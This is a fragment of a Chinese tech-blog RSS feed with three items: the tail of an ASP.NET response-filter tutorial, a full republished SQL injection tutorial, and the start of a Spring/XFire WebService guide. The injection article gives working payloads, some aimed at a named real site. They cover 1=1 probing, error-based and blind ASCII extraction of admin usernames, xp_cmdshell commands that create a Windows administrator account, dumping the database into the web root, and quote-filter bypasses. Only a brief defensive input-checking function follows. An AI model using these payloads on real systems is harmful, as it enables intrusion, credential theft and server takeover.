            return responseStream.Seek(offset, origin);<br />
        }</p>
<p>        public override void SetLength(long length)<br />
        {<br />
            responseStream.SetLength(length);<br />
        }<br />
        #endregion</p>
<p>//关键的点，在HttpResponse 输入内容的时候，一定会调用此方法输入数据，所以要在此方法内截获数据<br />
        public override void Write(byte[] buffer, int offset, int count)<br />
        {<br />
            string strBuffer = System.Text.UTF8Encoding.UTF8.GetString(buffer, offset, count);</p>
<p>//采用正则，检查输入的是否有页面结束符&lt;/html&gt;<br />
            Regex eof = new Regex(&#8221;&lt;/html&gt;&#8221;, RegexOptions.IgnoreCase);</p>
<p>            if (!eof.IsMatch(strBuffer))<br />
            {<br />
              //页面没有输出完毕，继续追加内容<br />
                responseHtml.Append(strBuffer);<br />
            }<br />
            else<br />
            {<br />
              //页面输出已经完毕，截获内容<br />
                responseHtml.Append(strBuffer);<br />
                string finalHtml = responseHtml.ToString();</p>
<p>            //激发数据已经获取事件<br />
            OnRawDataRecordedEvent(this, new RawDataEventArgs(finalHtml));</p>
<p>                //继续传递要发出的内容写入流<br />
                byte[] data = System.Text.UTF8Encoding.UTF8.GetBytes(finalHtml);</p>
<p>                responseStream.Write(data, 0, data.Length);<br />
            }<br />
        }<br />
    }<br />
至此，过滤器定义完毕了，接下来还需要把这个过滤器装配到HttpResponse 对象中。<br />
为了能够截获整站的aspx 页面输出的内容，我们可以定义一个HttpModule 来完成。<br />
代码如下：<br />
using System;<br />
using System.Web;<br />
using System.Collections.Generic;<br />
using System.Text;<br />
using System.IO;<br />
using System.Diagnostics;</p>
<p>    public class HttpRawDataModule : IHttpModule<br />
    {<br />
        IHttpModule 成员#region IHttpModule 成员</p>
<p>        public void Dispose()<br />
        {</p>
<p>}</p>
<p>        public void Init(HttpApplication context)<br />
        {<br />
            //绑定事件，在对此请求处理过程全部结束后进行过滤操作<br />
            context.ReleaseRequestState += new EventHandler(context_ReleaseRequestState);<br />
        }</p>
<p>        #endregion</p>
<p>        /**//// &lt;summary&gt;<br />
        /// 对此HTTP请求处理的过程全部结束<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&#8221;sender&#8221;&gt;&lt;/param&gt;<br />
        /// &lt;param name=&#8221;e&#8221;&gt;&lt;/param&gt;<br />
        void context_ReleaseRequestState(object sender, EventArgs e)<br />
        {<br />
            HttpApplication application = (HttpApplication)sender;</p>
<p>            //这里需要针对ASPX页面进行拦截，测试发现如果不这么做，Wap 访问站点图片容易显示为X，奇怪<br />
            string[] temp = application.Request.CurrentExecutionFilePath.Split(&#8217;.');<br />
            if (temp.Length &gt; 0 &amp;&amp; temp[temp.Length - 1].ToLower() == &#8220;aspx&#8221;)<br />
            {<br />
                //装配过滤器<br />
                application.Response.Filter = new RawFilter(application.Response.Filter);</p>
<p>                //绑定过滤器事件<br />
                RawFilter filter = (RawFilter)application.Response.Filter;<br />
                filter.OnRawDataRecordedEvent += new EventHandler&lt;RawDataEventArgs&gt;(filter_OnRawDataRecordedEvent);<br />
            }<br />
        }</p>
<p>        /**//// &lt;summary&gt;<br />
        /// 当原始数据采集到以后，入库<br />
        /// &lt;/summary&gt;<br />
        /// &lt;param name=&#8221;sender&#8221;&gt;&lt;/param&gt;<br />
        /// &lt;param name=&#8221;e&#8221;&gt;&lt;/param&gt;<br />
        void filter_OnRawDataRecordedEvent(object sender, RawDataEventArgs e)<br />
        {<br />
            string allcode = e.SourceCode;<br />
            WapSite.SiteDataClass wapdata = new WapSite.SiteDataClass();<br />
            wapdata.WriteRawDataLog(allcode);<br />
        }<br />
    }</p>
<p>HttpModule 准备完毕，也装配上了过滤器，接下来还需要在配置文件中配置HttpModules配置节 ，把自定义的HttpModule 加入到HTTP处理管道中。<br />
在Web.config 中增加配置节如下：<br />
  &lt;system.web&gt;<br />
    &lt;httpModules&gt;<br />
      &lt;add name=&#8221;RawDataModule&#8221; type=&#8221;HttpRawDataModule&#8221;/&gt;<br />
    &lt;/httpModules&gt;<br />
  &lt;/system.web&gt;<br />
测试成功，能准确的获得服务器向客户端输出的HTML内容。</p>
<p>其中，在过滤器中，可以直接对即将要输出的内容做 对于字符串的任意处理。</p>
<p>而且采用这样的方式来对站点即将输出的内容做修改和采集，可以通过修改配置文件，随时打开和关闭，有很强的优越性和灵活性还有重用性。</p>
<p>记得看到过很多需要产生静态页面的网站，都是通过代码HttpWebRequest 向自己请求并记录返回的代码产生静态页面，不知道我当前介绍的方法是否更好写，比如需要产生静态页面时，不管是谁发出请求，由服务器检查自己是否有静态页面，否则产生静态页面，并转向。给出引子，希望大家还是自己开阔思路比较好。</p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090226276.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>SQL注入</title>
		<link>http://column.ibeifeng.com/libin_8745/20090226273.shtml</link>
		<comments>http://column.ibeifeng.com/libin_8745/20090226273.shtml#comments</comments>
		<pubDate>Thu, 26 Feb 2009 06:57:53 +0000</pubDate>
		<dc:creator>libin_8745</dc:creator>
		
		<category><![CDATA[数据库]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=273</guid>
		<description><![CDATA[作者:NB联盟－小竹
引 言
随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即ＳＱＬ注入。
ＳＱＬ注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看IIS*志的习惯，可能被入侵很长时间都不会发觉。

但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。
根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let&#8217;s Go&#8230;
入 门 篇
如果你以前没试过ＳＱＬ注入的话，那么第一步先把IE菜单=&#62;工具=&#62;Internet选项=&#62;高级=&#62;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。
第一节、ＳＱＬ注入原理
以下我们从一个网www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。
在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：
Microsoft JET Database Engine 错误 &#8216;80040e14&#8242;
字符串的语法错误 在查询表达式 &#8216;ID=49&#8221; 中。
/showdetail.asp，行8
从这个错误提示我们能看出下面几点：
1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。
2. 程序没有判断客户端提交的数据是否符合程序要求。
3. 该SQL语句所查询的表中有一名为ID的字段。
从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。
第二节、判断能否进行ＳＱＬ注入
看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？
其实，这并不是最好的方法，为什么呢？
首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。
其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的
那么，什么样的测试方法才是比较准确呢？答案如下：
① http://www.19cn.com/showdetail.asp?id=49
② http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1
③ http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2
这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：
可以注入的表现：
① 正常显示（这是必然的，不然就是程序有错误了）
② 正常显示，内容基本与①相同
③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）
不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。
　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。
第三节、判断数据库类型及注入方法
不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。
怎么让程序告诉你它使用的什么数据库呢？来看看：
SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：
http://www.19cn.com/showdetail.asp?id=49 ;;and user&#62;0
这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在anduser&#62;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。
顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。
如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。
在确认可以注入的情况下，使用下面的语句：
http://www.19cn.com/showdetail.asp?id=49 ;;and (select count(*) from sysobjects)&#62;0
http://www.19cn.com/showdetail.asp?id=49 ;;and (select count(*) from msysobjects)&#62;0
如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。
如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。
进 阶 篇
在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：
第一节、ＳＱＬ注入的一般步骤
首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。
其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：
(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：
Select * [...]]]></description>
			<content:encoded><![CDATA[<p>作者:NB联盟－小竹</p>
<p>引 言</p>
<p>随着B/S模式应用开发的发展，使用这种模式编写应用程序的程序员也越来越多。但是由于这个行业的入门门槛不高，程序员的水平及经验也参差不齐，相当大一部分程序员在编写代码的时候，没有对用户输入数据的合法性进行判断，使应用程序存在安全隐患。用户可以提交一段数据库查询代码，根据程序返回的结果，获得某些他想得知的数据，这就是所谓的SQL Injection，即ＳＱＬ注入。</p>
<p>ＳＱＬ注入是从正常的WWW端口访问，而且表面看起来跟一般的Web页面访问没什么区别，所以目前市面的防火墙都不会对ＳＱＬ注入发出警报，如果管理员没查看IIS*志的习惯，可能被入侵很长时间都不会发觉。</p>
<p><span id="more-273"></span></p>
<p>但是，ＳＱＬ注入的手法相当灵活，在注入的时候会碰到很多意外的情况。能不能根据具体情况进行分析，构造巧妙的SQL语句，从而成功获取想要的数据，是高手与“菜鸟”的根本区别。</p>
<p>根据国情，国内的网站用ASP+Access或SQLServer的占70%以上，PHP+MySQ占L20%，其他的不足10%。在本文，我们从分入门、进阶至高级讲解一下ASP注入的方法及技巧，PHP注入的文章由NB联盟的另一位朋友zwell撰写，希望对安全工作者和程序员都有用处。了解ASP注入的朋友也请不要跳过入门篇，因为部分人对注入的基本判断方法还存在误区。大家准备好了吗？Let&#8217;s Go&#8230;</p>
<p>入 门 篇</p>
<p>如果你以前没试过ＳＱＬ注入的话，那么第一步先把IE菜单=&gt;工具=&gt;Internet选项=&gt;高级=&gt;显示友好 HTTP 错误信息前面的勾去掉。否则，不论服务器返回什么错误，IE都只显示为HTTP 500服务器错误，不能获得更多的提示信息。</p>
<p>第一节、ＳＱＬ注入原理</p>
<p>以下我们从一个网www.19cn.com开始（注：本文发表前已征得该站站长同意，大部分都是真实数据）。</p>
<p>在网站首页上，有名为“IE不能打开新窗口的多种解决方法”的链接，地址为：http://www.19cn.com/showdetail.asp?id=49，我们在这个地址后面加上单引号’，服务器会返回下面的错误提示：</p>
<p>Microsoft JET Database Engine 错误 &#8216;80040e14&#8242;</p>
<p>字符串的语法错误 在查询表达式 &#8216;ID=49&#8221; 中。</p>
<p>/showdetail.asp，行8</p>
<p>从这个错误提示我们能看出下面几点：</p>
<p>1.网站使用的是Access数据库，通过JET引擎连接数据库，而不是通过ODBC。</p>
<p>2. 程序没有判断客户端提交的数据是否符合程序要求。</p>
<p>3. 该SQL语句所查询的表中有一名为ID的字段。</p>
<p>从上面的例子我们可以知道，ＳＱＬ注入的原理，就是从客户端提交特殊的代码，从而收集程序及服务器的信息，从而获取你想到得到的资料。</p>
<p>第二节、判断能否进行ＳＱＬ注入</p>
<p>看完第一节，有一些人会觉得：我也是经常这样测试能否注入的，这不是很简单吗？</p>
<p>其实，这并不是最好的方法，为什么呢？</p>
<p>首先，不一定每台服务器的IIS都返回具体错误提示给客户端，如果程序中加了cint(参数)之类语句的话，ＳＱＬ注入是不会成功的，但服务器同样会报错，具体提示信息为处理 URL 时服务器上出错。请和系统管理员联络。</p>
<p>其次，部分对ＳＱＬ注入有一点了解的程序员，认为只要把单引号过滤掉就安全了，这种情况不为少数，如果你用单引号测试，是测不到注入点的</p>
<p>那么，什么样的测试方法才是比较准确呢？答案如下：</p>
<p>① http://www.19cn.com/showdetail.asp?id=49</p>
<p>② http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1</p>
<p>③ http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2</p>
<p>这就是经典的1=1、1=2测试法了，怎么判断呢？看看上面三个网址返回的结果就知道了：</p>
<p>可以注入的表现：</p>
<p>① 正常显示（这是必然的，不然就是程序有错误了）</p>
<p>② 正常显示，内容基本与①相同</p>
<p>③ 提示BOF或EOF（程序没做任何判断时）、或提示找不到记录（判断了rs.eof时）、或显示内容为空（程序加了on error resume next）</p>
<p>不可以注入就比较容易判断了，①同样正常显示，②和③一般都会有程序定义的错误提示，或提示类型转换时出错。</p>
<p>　　当然，这只是传入参数是数字型的时候用的判断方法，实际应用的时候会有字符型和搜索型参数，我将在中级篇的“ＳＱＬ注入一般步骤”再做分析。</p>
<p>第三节、判断数据库类型及注入方法</p>
<p>不同的数据库的函数、注入方法都是有差异的，所以在注入之前，我们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Access和SQLServer，网上超过99%的网站都是其中之一。</p>
<p>怎么让程序告诉你它使用的什么数据库呢？来看看：</p>
<p>SQLServer有一些系统变量，如果服务器IIS提示没关闭，并且SQLServer返回错误提示的话，那可以直接从出错信息获取，方法如下：</p>
<p>http://www.19cn.com/showdetail.asp?id=49 ;;and user&gt;0</p>
<p>这句语句很简单，但却包含了SQLServer特有注入方法的精髓，我自己也是在一次无意的测试中发现这种效率极高的猜解方法。让我看来看看它的含义：首先，前面的语句是正常的，重点在anduser&gt;0，我们知道，user是SQLServer的一个内置变量，它的值是当前连接的用户名，类型为nvarchar。拿一个nvarchar的值跟int的数0比较，系统会先试图将nvarchar的值转成int型，当然，转的过程中肯定会出错，SQLServer的出错提示是：将nvarchar值 ”abc” 转换数据类型为 int 的列时发生语法错误，呵呵，abc正是变量user的值，这样，不废吹灰之力就拿到了数据库的用户名。在以后的篇幅里，大家会看到很多用这种方法的语句。</p>
<p>顺便说几句，众所周知，SQLServer的用户sa是个等同Adminstrators权限的角色，拿到了sa权限，几乎肯定可以拿到主机的Administrator了。上面的方法可以很方便的测试出是否是用sa登录，要注意的是：如果是sa登录，提示是将”dbo”转换成int的列发生错误，而不是”sa”。</p>
<p>如果服务器IIS不允许返回错误提示，那怎么判断数据库类型呢？我们可以从Access和SQLServer和区别入手，Access和SQLServer都有自己的系统表，比如存放数据库中所有对象的表，Access是在系统表[msysobjects]中，但在Web环境下读该表会提示“没有权限”，SQLServer是在表[sysobjects]中，在Web环境下可正常读取。</p>
<p>在确认可以注入的情况下，使用下面的语句：</p>
<p>http://www.19cn.com/showdetail.asp?id=49 ;;and (select count(*) from sysobjects)&gt;0</p>
<p>http://www.19cn.com/showdetail.asp?id=49 ;;and (select count(*) from msysobjects)&gt;0</p>
<p>如果数据库是SQLServer，那么第一个网址的页面与原页面http://www.19cn.com/showdetail.asp?id=49是大致相同的；而第二个网址，由于找不到表msysobjects，会提示出错，就算程序有容错处理，页面也与原页面完全不同。</p>
<p>如果数据库用的是Access，那么情况就有所不同，第一个网址的页面与原页面完全不同；第二个网址，则视乎数据库设置是否允许读该系统表，一般来说是不允许的，所以与原网址也是完全不同。大多数情况下，用第一个网址就可以得知系统所用的数据库类型，第二个网址只作为开启IIS错误提示时的验证。</p>
<p>进 阶 篇</p>
<p>在入门篇，我们学会了ＳＱＬ注入的判断方法，但真正要拿到网站的保密内容，是远远不够的。接下来，我们就继续学习如何从数据库中获取想要获得的内容，首先，我们先看看ＳＱＬ注入的一般步骤：</p>
<p>第一节、ＳＱＬ注入的一般步骤</p>
<p>首先，判断环境，寻找注入点，判断数据库类型，这在入门篇已经讲过了。</p>
<p>其次，根据注入参数类型，在脑海中重构SQL语句的原貌，按参数类型主要分为下面三种：</p>
<p>(A) ID=49 这类注入的参数是数字型，SQL语句原貌大致如下：<br />
Select * from 表名 where 字段=49<br />
注入的参数为ID=49 And [查询条件]，即是生成语句：<br />
Select * from 表名 where 字段=49 And [查询条件]</p>
<p>(B) Class=连续剧 这类注入的参数是字符型，SQL语句原貌大致概如下：<br />
Select * from 表名 where 字段=’连续剧’<br />
注入的参数为Class=连续剧’ and [查询条件] and ‘’=’ ，即是生成语句：<br />
Select * from 表名 where 字段=’连续剧’ and [查询条件] and ‘’=’’</p>
<p>(C) 搜索时没过滤参数的，如keyword=关键字，SQL语句原貌大致如下：<br />
Select * from 表名 where 字段like ’%关键字%’<br />
注入的参数为keyword=’ and [查询条件] and ‘%25’=’， 即是生成语句：<br />
Select * from 表名 where字段like ’%’ and [查询条件] and ‘%’=’%’</p>
<p>接着，将查询条件替换成SQL语句，猜解表名，例如：</p>
<p>ID=49 And (Select Count(*) from Admin)&gt;=0</p>
<p>如果页面就与ID=49的相同，说明附加条件成立，即表Admin存在，反之，即不存在（请牢记这种方法）。如此循环，直至猜到表名为止。</p>
<p>表名猜出来后，将Count(*)替换成Count(字段名)，用同样的原理猜解字段名。</p>
<p>有人会说：这里有一些偶然的成分，如果表名起得很复杂没规律的，那根本就没得玩下去了。说得很对，这世界根本就不存在100%成功的黑客技术，苍蝇不叮无缝的蛋，无论多技术多高深的黑客，都是因为别人的程序写得不严密或使用者保密意识不够，才有得下手。</p>
<p>有点跑题了，话说回来，对于SQLServer的库，还是有办法让程序告诉我们表名及字段名的，我们在高级篇中会做介绍。</p>
<p>最后，在表名和列名猜解成功后，再使用SQL语句，得出字段的值，下面介绍一种最常用的方法－Ascii逐字解码法，虽然这种方法速度很慢，但肯定是可行的方法。</p>
<p>我们举个例子，已知表Admin中存在username字段，首先，我们取第一条记录，测试长度：</p>
<p>http://www.19cn.com/showdetail.asp?id=49 ;;and (select top 1 len(username) from Admin)&gt;0</p>
<p>先说明原理：如果top 1的username长度大于0，则条件成立；接着就是&gt;1、&gt;2、&gt;3这样测试下去，一直到条件不成立为止，比如&gt;7成立，&gt;8不成立，就是len(username)=8</p>
<p>　　当然没人会笨得从0,1,2,3一个个测试，怎么样才比较快就看各自发挥了。在得到username的长度后，用mid(username,N,1)截取第N位字符，再asc(mid(username,N,1))得到ASCII码，比如：</p>
<p>id=49 and (select top 1 asc(mid(username,1,1)) from Admin)&gt;0</p>
<p>同样也是用逐步缩小范围的方法得到第1位字符的ASCII码，注意的是英文和数字的ASCII码在1-128之间，可以用折半法加速猜解，如果写成程序测试，效率会有极大的提高。</p>
<p>第二节、ＳＱＬ注入常用函数</p>
<p>有SQL语言基础的人，在ＳＱＬ注入的时候成功率比不熟悉的人高很多。我们有必要提高一下自己的SQL水平，特别是一些常用的函数及命令。</p>
<p>Access：asc(字符) SQLServer：unicode(字符)</p>
<p>作用：返回某字符的ASCII码</p>
<p>Access：chr(数字) SQLServer：nchar(数字)</p>
<p>作用：与asc相反，根据ASCII码返回字符</p>
<p>Access：mid(字符串,N,L) SQLServer：substring(字符串,N,L)</p>
<p>作用：返回字符串从N个字符起长度为L的子字符串，即N到N+L之间的字符串</p>
<p>Access：abc(数字) SQLServer：abc (数字)</p>
<p>作用：返回数字的绝对值（在猜解汉字的时候会用到）</p>
<p>Access：A between B And C SQLServer：A between B And C</p>
<p>作用：判断A是否界于B与C之间</p>
<p>第三节、中文处理方法</p>
<p>在注入中碰到中文字符是常有的事，有些人一碰到中文字符就想打退堂鼓了。其实只要对中文的编码有所了解，“中文恐惧症”很快可以克服。</p>
<p>先说一点常识：</p>
<p>Access中，中文的ASCII码可能会出现负数，取出该负数后用abs()取绝对值，汉字字符不变。</p>
<p>SQLServer中，中文的ASCII为正数，但由于是UNICODE的双位编码，不能用函数ascii()取得ASCII码，必须用函数unicode ()返回unicode值，再用nchar函数取得对应的中文字符。</p>
<p>了解了上面的两点后，是不是觉得中文猜解其实也跟英文差不多呢？除了使用的函数要注意、猜解范围大一点外，方法是没什么两样的。</p>
<p>高 级 篇</p>
<p>看完入门篇和进阶篇后，稍加练习，破解一般的网站是没问题了。但如果碰到表名列名猜不到，或程序作者过滤了一些特殊字符，怎么提高注入的成功率？怎么样提高猜解效率？请大家接着往下看高级篇。</p>
<p>第一节、利用系统表注入SQLServer数据库</p>
<p>SQLServer是一个功能强大的数据库系统，与操作系统也有紧密的联系，这给开发者带来了很大的方便，但另一方面，也为注入者提供了一个跳板，我们先来看看几个具体的例子：</p>
<p>① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”&#8211;</p>
<p>　　分号;在SQLServer中表示隔开前后两句语句，&#8211;表示后面的语句为注释，所以，这句语句在SQLServer中将被分成两句执行，先是Select出ID=1的记录，然后执行存储过程xp_cmdshell，这个存储过程用于调用系统命令，于是，用net命令新建了用户名为name、密码为password的windows的帐号，接着：</p>
<p>② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”&#8211;</p>
<p>　　将新建的帐号name加入管理员组，不用两分钟，你已经拿到了系统最高权限！当然，这种方法只适用于用sa连接数据库的情况，否则，是没有权限调用xp_cmdshell的。</p>
<p>　　③ http://Site/url.asp?id=1 ;;and db_name()&gt;0</p>
<p>前面有个类似的例子and user&gt;0，作用是获取连接用户名，db_name()是另一个系统变量，返回的是连接的数据库名。</p>
<p>④ http://Site/url.asp?id=1;backup database 数据库名 to disk=’c:\inetpub\wwwroot\1.db’;&#8211;</p>
<p>这是相当狠的一招，从③拿到的数据库名，加上某些IIS出错暴露出的绝对路径，将数据库备份到Web目录下面，再用HTTP把整个数据库就完完整整的下载回来，所有的管理员及用户密码都一览无遗！在不知道绝对路径的时候，还可以备份到网络地址的方法（如\\202.96.xx.xx\Share\1.db），但成功率不高。</p>
<p>　　⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status&gt;0)&gt;0</p>
<p>前面说过，sysobjects是SQLServer的系统表，存储着所有的表名、视图、约束及其它对象，xtype=’U’ and status&gt;0，表示用户建立的表名，上面的语句将第一个表名取出，与0比较大小，让报错信息把表名暴露出来。第二、第三个表名怎么获取？还是留给我们聪明的读者思考吧。</p>
<p>⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)&gt;0</p>
<p>从⑤拿到表名后，用object_id(‘表名’)获取表名对应的内部ID，col_name(表名ID,1)代表该表的第1个字段名，将1换成2,3,4&#8230;就可以逐个获取所猜解表里面的字段名。</p>
<p>　　以上6点是我研究SQLServer注入半年多以来的心血结晶，可以看出，对SQLServer的了解程度，直接影响着成功率及猜解速度。在我研究SQLServer注入之后，我在开发方面的水平也得到很大的提高，呵呵，也许安全与开发本来就是相辅相成的吧。</p>
<p>第二节、绕过程序限制继续注入</p>
<p>在入门篇提到，有很多人喜欢用’号测试注入漏洞，所以也有很多人用过滤’号的方法来“防止”注入漏洞，这也许能挡住一些入门者的攻击，但对ＳＱＬ注入比较熟悉的人，还是可以利用相关的函数，达到绕过程序限制的目的。</p>
<p>在“ＳＱＬ注入的一般步骤”一节中，我所用的语句，都是经过我优化，让其不包含有单引号的；在“利用系统表注入SQLServer数据库”中，有些语句包含有’号，我们举个例子来看看怎么改造这些语句：</p>
<p>简单的如where xtype=’U’，字符U对应的ASCII码是85，所以可以用where xtype=char(85)代替；如果字符是中文的，比如where name=’用户’，可以用where name=nchar(29992)+nchar(25143)代替。</p>
<p>第三节、经验小结</p>
<p>1.有些人会过滤Select、Update、Delete这些关键字，但偏偏忘记区分大小写，所以大家可以用selecT这样尝试一下。</p>
<p>2.在猜不到字段名时，不妨看看网站上的登录表单，一般为了方便起见，字段名都与表单的输入框取相同的名字。</p>
<p>3.特别注意：地址栏的+号传入程序后解释为空格，%2B解释为+号，%25解释为%号，具体可以参考URLEncode的相关介绍。</p>
<p>4.用Get方法注入时，IIS会记录你所有的提交字符串，对Post方法做则不记录，所以能用Post的网址尽量不用Get。</p>
<p>5. 猜解Access时只能用Ascii逐字解码法，SQLServer也可以用这种方法，只需要两者之间的区别即可，但是如果能用SQLServer的报错信息把值暴露出来，那效率和准确率会有极大的提高。</p>
<p>防 范 方 法</p>
<p>ＳＱＬ注入漏洞可谓是“千里之堤，溃于蚁穴”，这种漏洞在网上极为普遍，通常是由于程序员对注入不了解，或者程序过滤不严格，或者某个参数忘记检查导致。在这里，我给大家一个函数，代替ASP中的Request函数，可以对一切的SQL注入Say NO，函数如下：</p>
<p>function SafeRequest(ParaName,ParaType)<br />
&#8216;&#8212; 传入参数 &#8212;<br />
&#8216;ParaName:参数名称-字符型<br />
&#8216;ParaType:参数类型-数字型(1表示以上参数是数字，0表示以上参数为字符)</p>
<p>Dim ParaValue<br />
ParaValue=Request(ParaName)<br />
If ParaType=1 then<br />
If not isNumeric(ParaValue) then<br />
Response.write &#8220;参数&#8221; &amp; ParaName &amp; &#8220;必须为数字型！&#8221;<br />
Response.end<br />
End if<br />
Else<br />
ParaValue=replace(ParaValue,&#8221;&#8216;&#8221;,&#8221;&#8221;&#8221;)<br />
End if<br />
SafeRequest=ParaValue<br />
End function</p>
<p>文章到这里就结束了，不管你是安全人员、技术爱好者还是程序员，我都希望本文能对你有所帮助</p>
]]></content:encoded>
			<wfw:commentRss>http://column.ibeifeng.com/libin_8745/20090226273.shtml/feed</wfw:commentRss>
		</item>
		<item>
		<title>Spring集成XFire开发WebService</title>
		<link>http://column.ibeifeng.com/zhangweiliang/20090225270.shtml</link>
		<comments>http://column.ibeifeng.com/zhangweiliang/20090225270.shtml#comments</comments>
		<pubDate>Wed, 25 Feb 2009 14:08:45 +0000</pubDate>
		<dc:creator>张维亮</dc:creator>
		
		<category><![CDATA[Web开发]]></category>

		<category><![CDATA[spring]]></category>

		<category><![CDATA[WebService]]></category>

		<category><![CDATA[XFire]]></category>

		<guid isPermaLink="false">http://column.ibeifeng.com/?p=270</guid>
		<description><![CDATA[Spring是目前最流行的JavaEE Framework，但是使用Spring的Spring-WS开发WebService却十分繁琐。XFire是一个简化WebService开发的开源项目，通过Spring和XFire的结合可以大大简化基于Spring Framework的应用中的WebService开发。
Spring和XFire可以通过多种方式结合，下文介绍的是笔者常用的一种简单而实用的方法。所用的Spring版本为2.0,XFire版本为1.2.6。

1、配置XFire Servlet
在web.xml中加入如下配置：

＜servlet＞
＜servlet-name＞XFireServlet＜/servlet-name＞
＜servlet-class＞
org.codehaus.xfire.spring.XFireSpringServlet
＜/servlet-class＞
＜/servlet＞
＜servlet-mapping＞
＜servlet-name＞XFireServlet＜/servlet-name＞
＜url-pattern＞/servlet/XFireServlet/*＜/url-pattern＞
＜/servlet-mapping＞
＜servlet-mapping＞
＜servlet-name＞XFireServlet＜/servlet-name＞
＜url-pattern＞/services/*＜/url-pattern＞
＜/servlet-mapping＞

2 配置Spring的监听器，同基于spring的Web项目一样Spring的监听器是必不可少的。

＜context-param＞
＜param-name＞contextConfigLocation＜/param-name＞
＜param-value＞
classpath:org/codehaus/xfire/spring/xfire.xml,
/WEB-INF/applicationContext.xml
＜/param-value＞
＜/context-param＞
＜listener＞
＜listener-class＞
